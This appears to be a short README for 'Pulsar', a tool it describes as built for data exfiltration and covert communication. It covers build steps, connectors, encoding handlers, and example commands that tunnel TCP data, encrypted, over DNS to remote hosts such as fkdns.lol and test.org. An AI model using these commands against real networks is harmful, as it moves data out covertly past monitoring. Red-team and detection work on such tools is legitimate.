Pulsar is a tool for data exfiltration and covert communication that enable you to create a secure data transfer, a bizarre chat or a network tunnel through different protocols, for example you can receive data from tcp connection and resend it to real destination through DNS packets
First, getting the code from repository and compile it with following command:
$ cd pulsar
$ export GOPATH=$(shell pwd)
$ go get golang.org/x/net/icmp
$ go build -o bin/pulsar src/main.go
or run:
$ make
A connector is a simple channel to the external world, with the connector you can read and write data from different sources.
tcp:127.0.0.1:9000
UDP
udp:127.0.0.1:9000
ICMP
icmp:127.0.0.1 (the connection port is obviously useless)
You can use option –in in order to select input connector and option –out to select output connector:
–in tcp:127.0.0.1:9000
–out dns:fkdns.lol:2.3.4.5:8989
A handler allows you to change data in transit, you can combine handlers arbitrarily.
–handlers base32
You can use the –decode option to use ALL handlers in decoding mode
–handlers base64,base32,base64,cipher:key –decode
In the following example Pulsar will be used to create a secure two-way tunnel on DNS protocol, data will be read from TCP connection (simple nc client) and resend encrypted through the tunnel.
[nc 127.0.0.1 9000] <–TCP–> [pulsar] <–DNS–> [pulsar] <–TCP–> [nc -l 127.0.0.1 -p 9900]
$ ./pulsar –in tcp:127.0.0.1:9000 –out dns:test.org@192.168.1.199:8989 –duplex –plain in –handlers ‘cipher:supersekretkey!!’
$ nc 127.0.0.1 9000
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